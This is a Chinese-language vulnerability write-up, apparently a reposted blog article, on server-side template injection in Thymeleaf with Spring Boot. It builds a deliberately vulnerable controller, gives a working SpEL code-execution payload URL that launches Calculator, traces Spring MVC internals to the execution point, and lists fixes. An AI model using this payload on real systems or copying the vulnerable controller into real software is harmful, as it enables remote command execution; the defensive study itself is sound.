Thymeleaf的SSTI
介绍
Thymeleaf 是一个流行的 Java Web 视图模板引擎,可以方便地将数据和 HTML 模板结合起来生成网页。但是在使用 Thymeleaf 的过程中,如果没有严格控制用户输入,可能会发生模板注入漏洞。
环境搭建
添加Java包和resources包
pom.xml
<!-- 继承父包 -->
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.5.RELEASE</version>
</parent>
<dependencies>
<!-- web启动jar -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.6</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
application.yml,放在resources(原本没有,需要创建)
server:
port: 8090
spring:
thymeleaf:
prefix: classpath:/templates/
suffix: .html
mode: HTML5
encoding: UTF-8
启动类(放在com.garck3h下)
package com.garck3h;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
/**
* Created by IntelliJ IDEA.
*
* @Author Garck3h
* @Date 2023/5/11 3:45 下午
* Life is endless, and there is no end to it.
**/
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class,args);
}
}
Handler
package com.garck3h.controller;
import org.springframework.cache.annotation.Cacheable;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
/**
* Created by IntelliJ IDEA.
*
* @Author Garck3h
* @Date 2023/5/12 3:39 下午
* Life is endless, and there is no end to it.
**/
@Controller
@RequestMapping("/index1")
public class ThyController {
@GetMapping("/index2")
public String index(@RequestParam String index3){
System.out.println("index...");
return index;
}
}
正常访问URL,出现了500报错,因为此时我没有对应的模板文件才会报错,但是这个不影响漏洞的利用
复现
payload
192.168.163.154:8090/index1/index2?index3=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()%7d__::.x
分析
先讲一下SpringMVC的一个工作流程
-
客户端发起 HTTP 请求,请求会到达 DispatcherServlet。 -
DispatcherServlet 接收到请求后会通过 HandlerMapping 确定当前请求需要调用哪个 Controller 对象,默认情况下使用的是 RequestMappingHandlerMapping。 -
HandlerAdapter 负责将请求与 Controller 方法进行绑定,并处理方法的参数,准备请求数据。 -
Controller 执行相应的业务逻辑,创建并绑定 Model 和 View,并返回 ModelAndView。 -
ViewResolver 根据 View 的指定格式解析目标视图为完整的视图,并返回给 DispatcherServlet。 -
DispatcherServlet 发送 Model 数据给 View 以便完成渲染,生成最终的响应结果。 -
最终的响应结果返回给客户端浏览器,已经完成了整个 Spring MVC 的请求响应过程。
在Spring MVC框架中是由DispatcherServlet作为前端控制器(Front Controller)来控制请求和响应、路由请求和处理 HTTP 请求的。
org.springframework.web.servlet.DispatcherServlet
package com.garck3h.controller;
import org.springframework.web.context.request.ServletWebRequest;
import org.springframework.web.context.request.async.WebAsyncManager;
import org.springframework.web.context.request.async.WebAsyncUtils;
import org.springframework.web.servlet.HandlerAdapter;
import org.springframework.web.servlet.HandlerExecutionChain;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.util.NestedServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* Created by IntelliJ IDEA.
*
* @Author Garck3h
* @Date 2023/5/18 4:19 下午
* Life is endless, and there is no end to it.
**/
public class doDispath {
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 对于multipart类型需要特殊处理
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
boolean multipartRequestParsed = false;
WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);
try {
try {
//定义模型与视图
ModelAndView mv = null;
//异常
Object dispatchException = null;
try {
// 预处理multipart文件上传数据,检查请求是否包含multipart/form-data
processedRequest = this.checkMultipart(request);
multipartRequestParsed = processedRequest != request;
// 获取处理器(通过RequestMapping找到希望匹配的处理器)
mappedHandler = this.getHandler(processedRequest);
if (mappedHandler == null) {
// 如果没有找到合适的Handler,则返回404错误页面
this.noHandlerFound(processedRequest, response);
return;
}
// 根据获取的 Handler (处理方法或者对象)获取对应的 HandlerAdapter
HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
// 获取 Http 请求方法类型,以 GET 上述情况为例
String method = request.getMethod();
boolean isGet = "GET".equals(method);
if (isGet || "HEAD".equals(method)) {
// 执行 Last-Modified 头信息验证缓存是否需要更新,判断是否需要返回304
long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
return;
}
}
// 判断拦截器是否preHandle执行成功,如果有一个没有执行成功,则直接返回404错误页面;同时记录日志
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
// 调用Handler并获取返回结果(该结果严格意义上只是View和Model的容器)
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
// 检查异步任务,并不会立即执行,而是由WebAsyncManager 后期完成调度管理
if (asyncManager.isConcurrentHandlingStarted()) {
return;
}
// 对ModelAndView进行预处理
this.applyDefaultViewName(processedRequest, mv);
//执行Handler的后置处理器
mappedHandler.applyPostHandle(processedRequest, response, mv);
} catch (Exception var20) {
dispatchException = var20;
} catch (Throwable var21) {
// 添加try-catch代码块来捕捉所有Throwable类型的异常
dispatchException = new NestedServletException("Handler dispatch failed", var21);
}
// 利用返回的mv进行页面渲染
this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);
} catch (Exception var22) {
this.triggerAfterCompletion(processedRequest, response, mappedHandler, var22);
} catch (Throwable var23) {
//对页面渲染完成调用拦截器中的AfterCompletion方法
this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", var23));
}
} finally {
if (asyncManager.isConcurrentHandlingStarted()) {
if (mappedHandler != null) {
mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
}
} else if (multipartRequestParsed) {
//清除由多个部分组成的请求使用的所有资源
this.cleanupMultipart(processedRequest);
}
}
}
}
1.前端控制器拦截用户的请求
我们直接看doDispatch这个方法,首先是和传统的servlet一样传入:HttpServletRequest request, HttpServletResponse response。
然后就是定义一些各种类型的变量,做初始化操作。
然后来到513行是调用checkMultipart 方法检查是否包含multipart/form-data 编码方式,有的话,就进行进一步的处理。514行将 multipartRequestParsed 变量设置为 true。
2.处理器映射器执行用户的请求
然后来到515行的getHandler,我们直接进去分析。首先是判断一下handlerMappings是否为空。
handlerMappings的初始化是在initHandlerMappings中进行的,扫描容器中所有的 HandlerMapping Bean,并将这些 Bean 添加到 handlerMappings 列表中。
回到getHandler,遍历handlerMappings 列表来查找匹配的处理器(即 Controller),并返回对应的 HandlerExecutionChain 实例。下图可以看到我们的index1的Controller和内置的error Controller
SpringMVC一共初始化了5个处理器映射器
遍历拿到了我们的一个Controller和方法名以及返回值的类型(String)
映射器给我们处理的Handler封装到了一个叫HandlerExecutionChain里面。而在HandlerExecutionChain对象里面有一个handler对象,是HandlerMethod类型的,这就是处理器映射器最终将我们的请求处理成的Handler对象
3.获取处理器适配器HandlerAdpater
回到doDispatch,继续往下走到521行,这里调用了getHandlerAdapter方法。这个步骤是
我们跟进去到了getHandlerAdapter。这里是对所有适配器进行遍历,查找支持该处理程序的适配器,最终将返回第一个支持该处理程序的适配器。并执行所需操作,例如解析请求参数、调用相应的业务逻辑、生成响应等。
// 获取处理器适配器
protected HandlerAdapter getHandlerAdapter(Object handler) throws ServletException {
// 处理器适配器集合不为空
if (this.handlerAdapters != null) {
Iterator var2 = this.handlerAdapters.iterator();
// 遍历处理器适配器集合
while(var2.hasNext()) {
HandlerAdapter adapter = (HandlerAdapter)var2.next();
// 当前适配器是否支持handle处理器的处理
if (adapter.supports(handler)) {
// 返回支持的适配器
return adapter;
}
}
}
// 未找到合适的适配器,抛出异常
throw new ServletException("No adapter for handler [" + handler + "]: The DispatcherServlet configuration needs to include a HandlerAdapter that supports this handler");
}
SpringMVC为我们初始化了以下4个处理器适配器:
回到doDispatch,继续往下走到531行。判断在请求发生之前有没有预处理拦截器。预处理拦截器一般用于身份验证、授权、日志记录等。
4.处理器适配器对Handler进行处理
继续往下走到535行。从 mappedHandler对象获取handler对象,然后将其与请求(request)对象、响应(response)对象交给适配器(Adapter)进行调用。在适配器中调用处理程序的相应方法,通常是Controller中的某一个方法,并根据业务逻辑生成响应数据。最终结果存储在ModelAndView实例对象(mv)中。
我们跟进去
来到了RequestMappingHandlerAdapter类的handleInternal方法。首先是对请求进行检查(checkRequest),接着调用invokeHandlerMethod函数执行处理程序(handlerMethod)的方法,并根据业务逻辑生成响应数据。最后,根据配置条件设置缓存控制(Cache-Control)头部信息并返回ModelAndView实例对象(mav)。
来到invokeHandlerMethod(487),我们跟进去。前面这些是根据请求参数,生成一个Web数据绑定器工厂(binderFactory)和模型工厂(modelFactory)。
我们来到552行的invocableMethod.invokeAndHandle。它是用于执行处理程序(handlerMethod)的方法。我们跟进去;首先是调用invokeForRequest方法,该方法是实现@RequestBody注解的功能,将http请求报文解析为我们设置的对象。
我们跟进去;首先通过getMethodArgumentValues方法获取处理程序所需的参数,如日志所示,代码将请求参数打印到日志中。然后通过doInvoke方法执行接口的具体业务逻辑代码。
跟进61行的doInvoke,进入到里面。获得被桥接的⽅法(101),开打访问权限(102)
这里的105行,调用了invoke。通过反射,调⽤ Controller 中响应的⽅法
return KotlinDetector.isSuspendingFunction(method) ? CoroutinesUtils.invokeSuspendingFunction(method, this.getBean(), args) : method.invoke(this.getBean(), args);
最后通过反射进行调用。先是检查调用者对方法的访问权限,并获取需要调用方法的MethodAccessor实例,最后调用MethodAccessor的invoke方法来执行相应的方法。
最终回到invokeHandlerMethod,进入到了if里面getModelAndView(554)。
我们跟进去看看;这里是根据mavContainer对象(包含视图名称、数据模型等信息)创建并返回ModelAndView对象
至此,我们就拿到了mav,也就是ModelAndView
[view="__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x"; model={}]
最终回到doDispatch,然后来到540行。
这里调用请求处理器适配器的postHandle()方法,对Web请求在处理完成后做一些额外的工作,比如在模型和视图参数中添加、删除或修改属性值等,以及对响应对象进行操作,比如设置相应头信息、状态码以及重定向等
5.处理派发结果
SpringMVC通过处理器适配器将Handler处理成ModelAndView了。
下面我们来看到548行
我们跟进去看看,processDispatchResult方法实现了请求的分发以及结果的处理。在具体工作中,该方法接收HTTP请求和响应对象、当前匹配到的HandlerExecutionChain处理链、可能存在的ModelAndView模型视图对象以及处理过程中可能抛出的异常等参数,然后根据不同情况,调用相应的方法进行处理。
搜索发现,有一个叫render的方法对mv进行处理,我们跟进去。
750行获取View视图对象,进去看看。循环遍历初始化好的视图解析器进行解析处理,最终得到一个View视图对象
回到render;来到770行,我们跟进去看看。
这里调用了renderFragment方法
继续跟进去renderFragment;在101行,判断viewTemplateName是否包含::如果包含的话进入else分支,进行表达式预处理。
首先是传入configuration 对象作为参数,获取一个标准表达式解析器对象parser;然后是通过在 parser对象上调用 parseExpression() 方法,传入两个参数:当前渲染的页面上下文对象 context 和表示要渲染的 HTML 片段名称的字符串 "~{ + viewTemplateName + }",得到一个 FragmentExpression 对象 fragmentExpression
此时的viewTemplateName为:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}__::.x
viewTemplateName中包含::时,会给其加上~{}然后进行解析
parseExpression(109) 我们跟进去看看
跟进去preprocess。进行正则提取出__…__之间的东西
提取得到的
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open -a Calculator").getInputStream()).next()}
然后调用expression.execute(42)
我们跟进来发现又调用了另一个execute,把this(payload)传进去。
我们跟进去,一进来就发现第一个if对expression 对象进行类型检测,判断表达式类型是否为 SimpleExpression。这里确实是SimpleExpression,所以调用SimpleExpression.executeSimple进行了执行。
SimpleExpression.executeSimple执行spel表达,成功弹计算器。
总结
-
这个漏洞的复现,很多工作都是在跟进SpringMvc的一个工作流程。需要对SpringMvc的工作流程了解,和SpringMvc的九大初始化组件了解,才得以进一步追踪污染传播的方法以及整个流程。 -
在通过render 渲染进行视图渲染的时候,会先检测是否包含“::”,然后进入分支添加上~{}进行解析。解析前进行预处理,即通过正则取出两个横线之间的内容,然后调用标准解析器对其进行解析,匹配到了spel表达式,从而导致了spel表达式命令执行。
修复方式
-
升级版本 -
配置 @ResponseBody
或者@RestController
这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。
-
在返回值前面加上 “redirect:”
这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
-
在方法参数中加上 HttpServletResponse 参数
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。
参考
https://blog.csdn.net/weixin_43263451/article/details/126543803
原文始发于微信公众号(pentest):Thymeleaf模板注入详细分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论